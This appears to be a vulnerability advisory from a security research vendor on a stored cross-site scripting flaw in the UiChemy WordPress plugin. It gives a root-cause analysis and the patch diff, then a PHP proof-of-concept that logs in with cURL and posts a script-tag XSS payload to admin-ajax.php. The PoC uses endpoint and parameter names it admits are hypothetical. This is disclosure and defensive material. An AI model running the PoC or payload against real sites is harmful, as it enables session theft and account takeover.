Atomic Edge analysis of CVE-2025-69362:
The UiChemy WordPress plugin, versions up to and including 4.4.2, contains an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability exists within the plugin’s user management component, allowing attackers with author-level privileges or higher to inject arbitrary JavaScript. This script executes in the context of a victim’s browser when they view a compromised page.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in the `class-uich-usermanager.php` file. The vulnerable code is located in the `uichemy/includes/admin/` directory. The `$selected_username` variable is assigned directly from the `user_login` property of a user object retrieved from the `$capable_users` array. This unsanitized user-controlled data is then stored via the `add_option` function. The stored data is later rendered on a page without proper output escaping, leading to script execution.
The exploitation method requires an authenticated attacker with at least Author-level permissions. The attacker would need to manipulate their own username, or potentially the username of another user they can influence, to contain a malicious JavaScript payload. The exact endpoint where this username is processed is the plugin’s user management functionality, likely accessed via an AJAX action or admin page. The payload would be stored in the WordPress options table via the `add_option` call. When an administrator or another user visits a page that displays this username value, the script executes.
The patch changes the assignment of the `$selected_username` variable on line 91 of `class-uich-usermanager.php`. The vulnerable version assigned `$capable_users[0]->user_login`. The patched version assigns the entire `$capable_users[0]` object. This change suggests the fix involves later code that properly accesses and escapes the `user_login` property from the object, rather than storing the raw string. The plugin version number is also updated from 4.4.2 to 4.4.3 in the main plugin file.
Successful exploitation leads to stored cross-site scripting. An attacker can inject malicious scripts that execute in the context of any user viewing the affected page. This can result in session hijacking, unauthorized actions performed on behalf of the victim, defacement of the site, or theft of sensitive information like cookies and authentication tokens. The impact is constrained by the permissions of the victim user viewing the page.
--- a/uichemy/includes/admin/class-uich-usermanager.php
+++ b/uichemy/includes/admin/class-uich-usermanager.php
@@ -88,7 +88,7 @@
return;
}
- $selected_username = $capable_users[0]->user_login;
+ $selected_username = $capable_users[0];
return add_option( UICH_USER_OPTION, $selected_username );
}
--- a/uichemy/uichemy.php
+++ b/uichemy/uichemy.php
@@ -3,7 +3,7 @@
* Plugin Name: UiChemy — Figma Converter for Elementor, Gutenberg and Bricks
* Plugin URI: https://uichemy.com
* Description: Convert Figma Design to 100% Editable WordPress websites in Elementor Website Builder and Gutenberg aka WordPress Block Editor.
- * Version: 4.4.2
+ * Version: 4.4.3
* Author: POSIMYTH
* Author URI: https://posimyth.com
* License: GPLv3
@@ -22,7 +22,7 @@
exit;
}
-define( 'UICH_VERSION', '4.4.1' );
+define( 'UICH_VERSION', '4.4.3' );
define( 'UICH_FILE', __FILE__ );
define( 'UICH_PATH', plugin_dir_path( __FILE__ ) );
define( 'UICH_URL', plugins_url( '/', __FILE__ ) );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69362 - UiChemy <= 4.4.2 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';
// Payload to inject into the username field (e.g., via profile update)
// This PoC simulates the attack vector but cannot replicate the exact internal plugin flow without reverse-engineering the specific AJAX action.
// The actual exploit would require interacting with the plugin's specific user management endpoint.
$xss_payload = '"><script>alert(document.domain)</script>';
// Initialize cURL session for login
$ch = curl_init();
// Step 1: Get login nonce and cookies (simplified - real PoC would parse login page)
// This is a placeholder structure. A full PoC requires identifying the exact UiChemy endpoint and parameter.
// Step 2: Authenticate to WordPress (example using wp-login.php)
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 3: Attempt to exploit the UiChemy user manager endpoint.
// The exact AJAX action or admin POST endpoint is not specified in the diff.
// A generic example is shown; a real rule would require the specific 'action' parameter.
$exploit_url = $target_url;
$exploit_fields = [
'action' => 'uich_specific_action', // This must be identified via code review
'selected_user' => $xss_payload // Parameter name is hypothetical
];
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);
// Check response
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch);
} else {
echo 'Response received. Check if payload was stored.';
}
curl_close($ch);
?>
